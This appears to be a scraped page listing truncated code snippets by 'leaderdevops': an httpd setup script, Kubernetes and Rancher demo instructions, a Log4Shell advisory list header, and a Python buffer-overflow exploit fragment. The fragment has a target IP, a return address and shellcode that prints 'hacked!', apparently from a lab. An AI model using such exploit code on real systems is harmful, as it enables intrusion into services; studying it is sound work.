leaderdevops

#!/bin/bash

########################################
##### USE THIS WITH AMAZON LINUX 2 #####
########################################

# get admin privileges
sudo su

# install httpd (Linux 2 version)

leaderdevops

import httplib

host = "172.16.89.128"
port = 8000

buffer_addr = "\x98\xF1\xFF\xBF" # 0xbffff198
payload = """
\xEB\x19\x31\xC0\x31\xDB\x31\xD2\x31\xC9\xB0\x04\xB3
\x01\x59\xB2\x07\xCD\x80\x31\xC0\xB0\x01\x31\xDB\xCD
\x80\xE8\xE2\xFF\xFF\xFF\x68\x61\x63\x6B\x65\x64\x21

leaderdevops

3 Virtual Machines Kubernetes cluster

Dependencies

You should install VirtualBox and Vagrant before you start.

Creating the cluster

You should create a Vagrantfile in an empty directory with the following content:

leaderdevops

Security Advisories / Bulletins linked to Log4Shell (CVE-2021-44228)

Errors, typos, something to say ?

• If you want to add a link, comment or send it to me
• Feel free to report any mistake directly below in the comment or in DM on Twitter @SwitHak

Other great ressources

• Royce Williams list is different, listed by vendors responses:
• https://www.techsolvency.com/story-so-far/cve-2021-44228-log4j-log4shell/
• TBD

leaderdevops

Rancher & NGINX Ingress Controller - Demo

Demo Prep

To prep for the demo environment begin by logging into the "dev" system using the Console (Access > Console)

• Open the Firefox browser
• Click on the link for the Rancher manager if it does not pop up as the default site.
• Log in using the username and password from the Documentation tab in UDF, this should be pre-populated.
• Open a Visual Studio Code (VSCode) instance

Open a series of terminal windows using Visual Studio Code (VSCode). From the right set of controls, you should have five terminal sessions total as seen below.